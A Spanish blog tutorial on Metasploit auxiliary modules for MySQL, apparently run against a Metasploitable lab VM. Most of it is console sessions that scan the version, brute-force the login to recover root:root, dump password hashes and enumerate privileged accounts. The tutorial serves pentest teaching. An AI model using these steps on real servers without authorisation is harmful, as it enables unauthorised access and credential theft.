domingo, 21 de agosto de 2011

Módulos Auxiliares de Metasploit para MySQL

En esta entrada veremos algunos módulos auxiliares de MySQL para utilizar en Metasploit y que nos permitirán obtener información sobre la versión, realizar ataques de fuerza bruta, ejecutar consultas y obtener información útil.

Podemos encontrar estos módulos a través de la búsqueda en Metasploit:
msf > search type:auxiliary mysql


MySQL version scanner (mysql_version)

Para invocar este módulo auxiliar solo debemos ejecutar el siguiente comando:
msf > use auxiliary/scanner/mysql/mysql_version
msf  auxiliary(mysql_version) >


Veamos las variables disponibles de este módulo auxiliar:
msf  auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    3306             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf  auxiliary(mysql_version) > 


Aquí solo debemos establecer la dirección IP del sistema objetivo para la variable “RHOSTS”. La variable “RHOSTS” puede definirse como una dirección IP única, un rango de direcciones IP (192.168.1.0-192.168.1.255), una subred (192.168.1.0/24) o un archivo (Ej. /tmp/direcciones_ip.txt). Con el fin de paralelizar los análisis, podemos incrementar el valor de los procesos hilo con la variable “THREADS”.
msf  auxiliary(mysql_version) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_version) > set THREADS 5
THREADS => 5


Verificamos de nuevo las variables antes de proceder a ejecutar el módulo.
sf  auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.58.134   yes       The target address range or CIDR identifier
   RPORT    3306             yes       The target port
   THREADS  5                yes       The number of concurrent threads

msf  auxiliary(mysql_version) > 


Luego de establecer las variables, ejecutamos el módulo y en pocos segundos tendremos resultados:
msf  auxiliary(mysql_version) > run

[*] 192.168.58.134:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(mysql_version) > 



Autenticación en MySQL mediante ataque de fuerza bruta (mysql_login)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_version) > use auxiliary/scanner/mysql/mysql_login
msf  auxiliary(mysql_login) > 


Veamos las variables disponibles de este módulo:
msf  auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf  auxiliary(mysql_login) > 


Este módulo intenta autenticarse contra una instancia de MySQL utilizando combinaciones de nombres de usuario y contraseñas en diccionarios definidos en las variables “USER_FILE“, “PASS_FILE“ y “USERPASS_FILE”. Metasploit no provee valores predeterminados para estas variables. Podemos utilizar las listas de contraseñas de SkullSecurity, o esta otra que es actualizada de forma regular.

Para paralelizar los intentos de login, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. También asignar la dirección o rango IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP, un rango de direcciones, una subred o un archivo.
msf  auxiliary(mysql_login) > set USER_FILE /root/wordlists/usernames.lst 
USER_FILE => /root/wordlists/usernames.lst
msf  auxiliary(mysql_login) > set PASS_FILE /root/wordlists/passwords.lst 
PASS_FILE => /root/wordlists/passwords.lst
msf  auxiliary(mysql_login) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_login) > set THREADS 5
THREADS => 5
msf  auxiliary(mysql_login) > 


Los intentos válidos se mostrarán en la consola con un color verde y los no-válidos de color rojo.
msf  auxiliary(mysql_login) > run

[*] 192.168.58.134:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 192.168.58.134:3306 MYSQL - [001/923] - Trying username:'admin' with password:''
[*] 192.168.58.134:3306 MYSQL - [001/923] - failed to login as 'admin' with password ''
[*] 192.168.58.134:3306 MYSQL - [002/923] - Trying username:'administrator' with password:''
[*] 192.168.58.134:3306 MYSQL - [002/923] - failed to login as 'administrator' with password ''
[*] 192.168.58.134:3306 MYSQL - [003/923] - Trying username:'backup' with password:''
[*] 192.168.58.134:3306 MYSQL - [003/923] - failed to login as 'backup' with password ''
[*] 192.168.58.134:3306 MYSQL - [004/923] - Trying username:'daemon' with password:''
...
[*] 192.168.58.134:3306 MYSQL - [039/923] - Trying username:'proxy' with password:'proxy'
[*] 192.168.58.134:3306 MYSQL - [039/923] - failed to login as 'proxy' with password 'proxy'
[*] 192.168.58.134:3306 MYSQL - [040/923] - Trying username:'root' with password:'root'
[+] 192.168.58.134:3306 - SUCCESSFUL LOGIN 'root' : 'root'
[+] Scanned 1 of 1 hosts (100% complete)
[+] Auxiliary module execution completed



Ejecución de consultas SQL genéricas en MySQL (mysql_sql)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql
msf  auxiliary(mysql_sql) > 


Este módulo nos permite ejecutar una simple consulta SQL contra una instancia MySQL. La consulta SQL predeterminada verificará la versión de la base de datos MySQL.

Veamos las opciones de este módulo auxiliar:

msf  auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the specified username
   RHOST                       yes       The target address
   RPORT     3306              yes       The target port
   SQL       select version()  yes       The SQL to execute.
   USERNAME                    no        The username to authenticate as

msf  auxiliary(mysql_sql) >


Para la consulta se requiere utilizar las credenciales válidas descubiertas previamente con el módulo auxiliar “mysql_login”. Debemos establecer la variable “RHOST” como servidor de MySQL objetivo. “RHOST” debe establecerse como una dirección IP única.
msf  auxiliary(mysql_sql) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_sql) > set RHOST 192.168.58.134
RHOST => 192.168.58.134
msf  auxiliary(mysql_sql) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD  root              no        The password for the specified username
   RHOST     192.168.58.134    yes       The target address
   RPORT     3306              yes       The target port
   SQL       select version()  yes       The SQL to execute.
   USERNAME  root              no        The username to authenticate as

msf  auxiliary(mysql_sql) >


Algunas consultas SQL para pruebas de penetración en MySQL se encuentran disponibles en el sitio web pentestmonkey.
msf  auxiliary(mysql_sql) > run

[*] Sending statement: 'select version()'...
[*]  | 5.0.51a-3ubuntu5 |
[*] Auxiliary module execution completed
msf  auxiliary(mysql_sql) > 



Obtención de hashes de contraseñas MySQL (mysql_hashdump)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_sql) > use auxiliary/scanner/mysql/mysql_hashdump
msf  auxiliary(mysql_hashdump) > 


Este módulo nos permite obtener los hashes de las contraseñas de usuarios almacenadas en las bases de datos MwSQL.

Veamos las opciones de este módulo auxiliar:
msf  auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME                   no        The username to authenticate as

msf  auxiliary(mysql_hashdump) > 


Aquí solo debemos establecer la dirección IP del sistema objetivo para la variable "RHOSTS". La variable "RHOSTS" puede definirse como una dirección IP única, un rango de direcciones IP (192.168.1.0-192.168.1.255), una subred (192.168.1.0/24) o un archivo (Ej. /tmp/direcciones_ip.txt).
msf  auxiliary(mysql_hashdump) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_hashdump) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_hashdump) > set THREADS 5
THREADS => 5
msf  auxiliary(mysql_hashdump) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  root             no        The password for the specified username
   RHOSTS    192.168.58.134   yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   5                yes       The number of concurrent threads
   USERNAME  root             no        The username to authenticate as

msf  auxiliary(mysql_hashdump) > 


Con el fin de paralelizar los análisis, podemos incrementar el valor de los procesos hilo con la variable "THREADS". También debemos utilizar credenciales válidas de MySQL, pueden ser las mismas obtenidas anteriormente con el módulo auxiliar "mysql_login".
msf  auxiliary(mysql_hashdump) > run

[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: :
[+] Saving HashString as Loot: :
[+] Saving HashString as Loot: debian-sys-maint:*E07F0A7CCC0044345116513C989F45663C1F8347
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] Hash Table has been saved: /root/.msf4/loot/20110821191208_default_192.168.58.134_mysql.hashes_615106.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(mysql_hashdump) > 



Enumeración en MySQL (mysql_enum)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_hashdump) > use auxiliary/admin/mysql/mysql_enum
msf  auxiliary(mysql_enum) > 


Este módulo auxiliar nos permitirá recolectar información útil de un servidor MySQL:

  • La versión de MySQL.
  • El sistema operativo del servidor MySQL.
  • La arquitectura del servidor.
  • El nombre de máquina.
  • La ubicación del directorio de datos MySQL.
  • Si el registro de las consultas e ingresos está activado, y la ubicación de los logs de MySQL.
  • Si el antiguo algoritmo de hashing de contraseñas está activado.
  • Si la carga de archivos locales (infile) se encuentra activada.
  • Si los ingresos con contraseñas antiguas (Pre-4.1.) están autorizados.
  • Si la opción “–skip-grant-tables” está activada.
  • Si están autorizados los enlaces simbólicos para ser utilizados como archivos de datos.
  • Si están permitidas las combinaciones de tablas.
  • Si la opción “–safe-show-database” está activada.
  • Si las conexiones SSL están habilitadas.
  • Todas las cuentas con sus hashes de contraseñas.
  • Todas las cuentas con privilegios “GRANT“, ”CREATE USER”, “RELOAD“, ”SHUTDOWN“, “SUPER“, “FILE” y “PROCESS”.
  • Todas las cuentas con privilegios “SELECT“, “INSERT“, “UPDATE“, “DELETE“, “CREATE” and “DROP”.
  • Todas las cuentas anónimas.
  • Todas las cuentas sin contraseña.
  • Todas las cuentas con acceso autorizado desde cualquier host.


Veamos las opciones de este módulo auxiliar:
msf  auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOST                      yes       The target address
   RPORT     3306             yes       The target port
   USERNAME                   no        The username to authenticate as

msf  auxiliary(mysql_enum) > 


Para utilizar este módulo auxiliar es necesario que tengamos acceso a la base de datos con un usuario que tenga privilegios. También debemos establecer el valor de la variable "RHOST" con la dirección IP del servidor MySQL..
msf  auxiliary(mysql_enum) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_enum) > set RHOST 192.168.58.134
RHOST => 192.168.58.134
msf  auxiliary(mysql_enum) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  root             no        The password for the specified username
   RHOST     192.168.58.134   yes       The target address
   RPORT     3306             yes       The target port
   USERNAME  root             no        The username to authenticate as

msf  auxiliary(mysql_enum) > 


Luego de establecer las variables ejecutamos el módulo:
msf  auxiliary(mysql_enum) > run

[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*] 	MySQL Version: 5.0.51a-3ubuntu5
[*] 	Compiled for the following OS: debian-linux-gnu
[*] 	Architecture: i486
[*] 	Server Hostname: metasploitable
[*] 	Data Directory: /var/lib/mysql/
[*] 	Logging of queries and logins: OFF
[*] 	Old Password Hashing Algorithm OFF
[*] 	Loading of local files: ON
[*] 	Logins with old Pre-4.1 Passwords: OFF
[*] 	Allow Use of symlinks for Database Files: YES
[*] 	Allow Table Merge: YES
[*] 	SSL Connections: Enabled
[*] 	SSL CA Certificate: /etc/mysql/cacert.pem
[*] 	SSL Key: /etc/mysql/server-key.pem
[*] 	SSL Certificate: /etc/mysql/server-cert.pem
[*] Enumerating Accounts:
[*] 	List of Accounts with Password Hashes:
[*] 		User: root Host: localhost Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User: root Host: ubuntu804-base Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User: root Host: 127.0.0.1 Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User:  Host: localhost Password Hash: 
[*] 		User:  Host: ubuntu804-base Password Hash: 
[*] 		User: debian-sys-maint Host: localhost Password Hash: *E07F0A7CCC0044345116513C989F45663C1F8347
[*] 		User: root Host: % Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
...
[*] Auxiliary module execution completed


Fuente